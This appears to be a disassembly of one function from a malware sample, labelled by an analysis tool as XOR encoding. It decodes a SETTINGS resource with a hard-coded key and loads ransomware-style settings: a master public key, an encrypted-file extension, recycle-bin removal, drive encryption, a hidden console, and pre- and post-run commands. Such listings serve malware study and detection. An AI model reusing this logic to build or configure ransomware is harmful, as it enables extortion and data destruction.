Function at 0x403640
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43bb13
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb8
push esi
push edi
push str.____Load_settings_from_resource..._n
call fcn.00401db0
push ecx
mov eax, esp
lea ecx, [ebp - 0x64]
mov dword [eax], str.SETTINGS
mov dword [eax + 4], 8
call fcn.0041c960
add esp, 8
mov dword [ebp - 4], 0
cmp byte [ebp - 0x64], 0
je 0x404465
mov edi, dword [ebp - 0x5c]
mov eax, 0
mov esi, dword [ebp - 0x60]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
sub edi, esi
je 0x4036ea
cmp edi, 0x7fffffff
ja 0x4044b0
push edi
lea ecx, [ebp - 0x20]
call fcn.00408a60
mov esi, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
sub esi, eax
push esi
push eax
push dword [ebp - 0x20]
call fcn.00420910
mov eax, dword [ebp - 0x20]
add esp, 0xc
add eax, esi
mov esi, dword [ebp - 0x60]
mov dword [ebp - 0x14], eax
xor ecx, ecx
test edi, edi
je 0x403717
mov dword [ebp - 0x28], 0xe
xor edx, edx
mov eax, ecx
div dword [ebp - 0x28]
mov al, byte [ecx + esi]
add edx, str.PUTINHUILO1337
xor al, byte [edx]
mov edx, dword [ebp - 0x20]
mov byte [ecx + edx], al
inc ecx
mov esi, dword [ebp - 0x60]
cmp ecx, edi
jb 0x4036f7
test esi, esi
je 0x403748
mov ecx, dword [ebp - 0x58]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x40373e
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404587
push ecx
push esi
call fcn.0041f22a
add esp, 8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
mov byte [ebp - 0xd], 0
cmp eax, ecx
je 0x40376e
mov byte [eax], 0
mov ecx, dword [ebp - 0x5c]
inc ecx
mov dword [ebp - 0x5c], ecx
jmp 0x40377e
lea ecx, [ebp - 0xd]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0040b410
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
sub ecx, eax
push ecx
push eax
push str.___Resource:__s__i_n
call fcn.00401e10
mov eax, dword [ebp - 0x60]
lea edx, [ebp - 0x28]
add esp, 0xc
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x54]
push 0
push 1
sub esp, 0x28
mov eax, esp
mov dword [eax + 0x24], 0
call fcn.00406300
add esp, 0x30
push str.sMasterPublicKey
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 1
call fcn.00406410
lea ecx, [ebp - 0xc4]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xac]
call fcn.0041c700
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0x10
jb 0x403824
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40381a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
cmp dword [ebp - 0x98], 8
lea eax, [ebp - 0xac]
push dword [ebp - 0x9c]
cmovae eax, dword [ebp - 0xac]
mov ecx, 0x44e9c8
push eax
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0xc4], 0
call fcn.004122d0
add esp, 8
test eax, eax
jne 0x403873
mov byte [ebp - 0xd], al
jmp 0x4043f3
push str.sEncryptedFileExtension
lea ecx, [ebp - 0x54]
call fcn.00406410
lea ecx, [ebp - 0x40]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x94]
call fcn.0041c700
mov esi, eax
cmp esi, 0x44eab8
je 0x40392a
mov edx, dword [0x44eacc]
cmp edx, 8
jb 0x4038ea
mov ecx, dword [0x44eab8]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x4038e0
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x4044ba
mov ecx, edi
push edx
push ecx
call fcn.0041f22a
add esp, 8
mov dword [0x44eac8], 0
xor eax, eax
mov dword [0x44eacc], 7
mov word [0x44eab8], ax
movups xmm0, xmmword [esi]
movups xmmword [0x44eab8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x44eac8], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x80]
cmp ecx, 8
jb 0x403967
mov edx, dword [ebp - 0x94]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40395d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044ba
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 7
mov word [ebp - 0x94], ax
cmp ecx, 0x10
jb 0x4039b9
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4039af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044ba
push ecx
push edx
call fcn.0041f22a
add esp, 8
push str.bThreadPool
lea ecx, [ebp - 0x54]
call fcn.00406410
mov ecx, eax
cmp byte [ecx], 4
jne 0x4044bf
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x54]
push str.nThreads
mov byte [0x455190], al
call fcn.00406410
mov ecx, eax
call fcn.00406560
push str.nEncryptionTypeIO
lea ecx, [ebp - 0x54]
mov dword [0x45519c], eax
call fcn.00406410
mov ecx, eax
call fcn.00406560
push str.nBufferBytes
lea ecx, [ebp - 0x54]
mov dword [0x455194], eax
call fcn.00406410
mov ecx, eax
call fcn.00406560
push str.nEncryptionLimitBytes
lea ecx, [ebp - 0x54]
mov dword [0x44e9a4], eax
call fcn.00406410
mov ecx, eax
call fcn.00406560
push str.nEncryptionType
lea ecx, [ebp - 0x54]
mov dword [0x44e9a0], eax
call fcn.00406410
mov ecx, eax
call fcn.00406560
push str.nEncryptionBlockBytes
lea ecx, [ebp - 0x54]
mov dword [0x4551a0], eax
call fcn.00406410
mov ecx, eax
call fcn.00406560
push str.nEncryptionSkipBytes
lea ecx, [ebp - 0x54]
mov dword [0x4551a4], eax
call fcn.00406410
mov ecx, eax
call fcn.00406560
push str.bRemoveRecycle
lea ecx, [ebp - 0x54]
mov dword [0x4551ac], eax
call fcn.00406410
mov ecx, eax
cmp byte [ecx], 4
jne 0x4044f1
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x54]
push str.bChiperDrives
mov byte [0x4551a8], al
call fcn.00406410
mov ecx, eax
cmp byte [ecx], 4
jne 0x404523
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x54]
push str.bHideConsole
mov byte [0x4551a9], al
call fcn.00406410
mov ecx, eax
cmp byte [ecx], 4
jne 0x404555
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x54]
push str.sRequirementsFilename
mov byte [0x4551b0], al
call fcn.00406410
lea ecx, [ebp - 0x40]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x7c]
call fcn.0041c700
push eax
mov ecx, 0x44e9b0
call fcn.00405500
lea ecx, [ebp - 0x7c]
call fcn.004054a0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 4
call fcn.00401b80
push str.sRequirementsData
lea ecx, [ebp - 0x54]
call fcn.00406410
lea ecx, [ebp - 0x40]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x7c]
call fcn.0041c700
mov esi, eax
cmp esi, 0x44eaa0
je 0x403be1
mov edx, dword [0x44eab4]
cmp edx, 8
jb 0x403ba1
mov ecx, dword [0x44eaa0]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x403b97
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x4044b5
mov ecx, edi
push edx
push ecx
call fcn.0041f22a
add esp, 8
mov dword [0x44eab0], 0
xor eax, eax
mov dword [0x44eab4], 7
mov word [0x44eaa0], ax
movups xmm0, xmmword [esi]
movups xmmword [0x44eaa0], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x44eab0], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x7c]
call fcn.004054a0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 4
call fcn.00401b80
push str.vecSkipFileExtensions
lea ecx, [ebp - 0x54]
call fcn.00406410
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004052b0
lea eax, [ebp - 0x8c]
mov ecx, esi
push eax
call fcn.00405200
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
je 0x403d8c
lea ecx, [ebp - 0x24]
call fcn.00405100
lea ecx, [ebp - 0x7c]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x40]
call fcn.0041c700
mov byte [ebp - 4], 0xe
mov ecx, dword [0x44ea98]
cmp ecx, dword [0x44ea9c]
je 0x403ca7
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44ea98], 0x18
jmp 0x403cb3
push eax
push ecx
mov ecx, 0x44ea94
call fcn.0040b180
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x403cf1
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403ce7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 0x10
jb 0x403d3d
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403d33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403d4f.0
movzx eax, byte [eax + 0x4045a0]
jmp dword [eax*4 + 0x404594]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
call fcn.00405dd0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jmp 0x403d75
add dword [ebp - 0x1c], 0x10
jmp 0x403d75
inc dword [ebp - 0x18]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
jne 0x403c34
push str.vecFullEncryptionExtensions
lea ecx, [ebp - 0x54]
call fcn.00406410
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004052b0
lea eax, [ebp - 0x8c]
mov ecx, esi
push eax
call fcn.00405200
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
je 0x403f28
nop dword [eax + eax]
lea ecx, [ebp - 0x24]
call fcn.00405100
lea ecx, [ebp - 0x7c]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x40]
call fcn.0041c700
mov byte [ebp - 4], 0x10
mov ecx, dword [0x44ea20]
cmp ecx, dword [0x44ea24]
je 0x403e43
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44ea20], 0x18
jmp 0x403e4f
push eax
push ecx
mov ecx, 0x44ea1c
call fcn.0040b180
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x403e8d
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403e83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 0x10
jb 0x403ed9
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ecf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403eeb.0
movzx eax, byte [eax + 0x4045b8]
jmp dword [eax*4 + 0x4045ac]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
call fcn.00405dd0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jmp 0x403f11
add dword [ebp - 0x1c], 0x10
jmp 0x403f11
inc dword [ebp - 0x18]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
jne 0x403dd0
push str.vecSkipPaths
lea ecx, [ebp - 0x54]
call fcn.00406410
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004052b0
lea eax, [ebp - 0x8c]
mov ecx, esi
push eax
call fcn.00405200
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
je 0x4040bf
lea ecx, [ebp - 0x24]
call fcn.00405100
lea ecx, [ebp - 0x7c]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x40]
call fcn.0041c700
mov byte [ebp - 4], 0x12
mov ecx, dword [0x4551ec]
cmp ecx, dword [0x4551f0]
je 0x403fda
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x4551ec], 0x18
jmp 0x403fe6
push eax
push ecx
mov ecx, 0x4551e8
call fcn.0040b180
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x404024
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40401a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 0x10
jb 0x404070
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404066
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x404082.0
movzx eax, byte [eax + 0x4045d0]
jmp dword [eax*4 + 0x4045c4]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
call fcn.00405dd0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jmp 0x4040a8
add dword [ebp - 0x1c], 0x10
jmp 0x4040a8
inc dword [ebp - 0x18]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
jne 0x403f67
push str.vecPreRunCommands
lea ecx, [ebp - 0x54]
call fcn.00406410
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004052b0
lea eax, [ebp - 0x8c]
mov ecx, esi
push eax
call fcn.00405200
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
je 0x404258
nop
lea ecx, [ebp - 0x24]
call fcn.00405100
lea ecx, [ebp - 0x7c]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x40]
call fcn.0041c700
mov byte [ebp - 4], 0x14
mov ecx, dword [0x44ead4]
cmp ecx, dword [0x44ead8]
je 0x404173
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44ead4], 0x18
jmp 0x40417f
push eax
push ecx
mov ecx, 0x44ead0
call fcn.0040b180
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x4041bd
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4041b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 0x10
jb 0x404209
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4041ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x40421b.0
movzx eax, byte [eax + 0x4045e8]
jmp dword [eax*4 + 0x4045dc]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
call fcn.00405dd0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jmp 0x404241
add dword [ebp - 0x1c], 0x10
jmp 0x404241
inc dword [ebp - 0x18]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
jne 0x404100
push str.vecPostRunCommands
lea ecx, [ebp - 0x54]
call fcn.00406410
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004052b0
lea eax, [ebp - 0x8c]
mov ecx, esi
push eax
call fcn.00405200
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
je 0x4043ef
lea ecx, [ebp - 0x24]
call fcn.00405100
lea ecx, [ebp - 0x7c]
push ecx
mov ecx, eax
call fcn.00406690
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x40]
call fcn.0041c700
mov byte [ebp - 4], 0x16
mov ecx, dword [0x44ea74]
cmp ecx, dword [0x44ea78]
je 0x40430a
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44ea74], 0x18
jmp 0x404316
push eax
push ecx
mov ecx, 0x44ea70
call fcn.0040b180
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x404354
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40434a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 0x10
jb 0x4043a0
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404396
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4044b5
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x4043b2.0
movzx eax, byte [eax + 0x404600]
jmp dword [eax*4 + 0x4045f4]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
call fcn.00405dd0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jmp 0x4043d8
add dword [ebp - 0x1c], 0x10
jmp 0x4043d8
inc dword [ebp - 0x18]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406760
test al, al
jne 0x404297
mov byte [ebp - 0xd], 1
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x98]
cmp ecx, 8
jb 0x404437
mov edx, dword [ebp - 0xac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40442d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404587
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 7
mov word [ebp - 0xac], ax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x54]
call fcn.004057a0
jmp 0x404469
mov byte [ebp - 0xd], 0
mov ecx, dword [ebp - 0x60]
test ecx, ecx
je 0x40449d
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x404493
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40458c
push edx
push ecx
call fcn.0041f22a
add esp, 8
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00405400
call fcn.0042b82f
call fcn.0042b82f
call fcn.00408830
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x7c]
lea eax, [ebp - 0x28]
push eax
call fcn.00411f30
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 7
call fcn.00411d40
add esp, 8
lea eax, [ebp - 0x44]
push 0x44beb4
push eax
call fcn.00420897
call fcn.00408830
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x7c]
lea eax, [ebp - 0x28]
push eax
call fcn.00411f30
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 8
call fcn.00411d40
add esp, 8
lea eax, [ebp - 0x44]
push 0x44beb4
push eax
call fcn.00420897
call fcn.00408830
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x7c]
lea eax, [ebp - 0x28]
push eax
call fcn.00411f30
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 9
call fcn.00411d40
add esp, 8
lea eax, [ebp - 0x44]
push 0x44beb4
push eax
call fcn.00420897
call fcn.00408830
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x7c]
lea eax, [ebp - 0x28]
push eax
call fcn.00411f30
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xa
call fcn.00411d40
add esp, 8
lea eax, [ebp - 0x44]
push 0x44beb4
push eax
call fcn.00420897
call fcn.0042b82f
call fcn.0042b82f
nop dword [eax]
jb 0x4045d3
inc eax
add byte [esi + 0x3d], dl
inc eax
add byte [ebp + edi + 0x40], ch
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
push cs
aas
inc eax
add dl, dh
inc eax
add byte [eax], cl
aas
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
movsd dword es:[edi], dword [esi]
inc eax
inc eax
add byte [ecx - 0x60ffbfc0], cl
inc eax
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
inc edx
inc eax
add byte [edx], ah
inc edx
inc eax
add byte [eax], bh
inc edx
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
aad 67
inc eax
add byte [ecx - 0x30ffbfbd], bh
inc ebx
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, cl
int3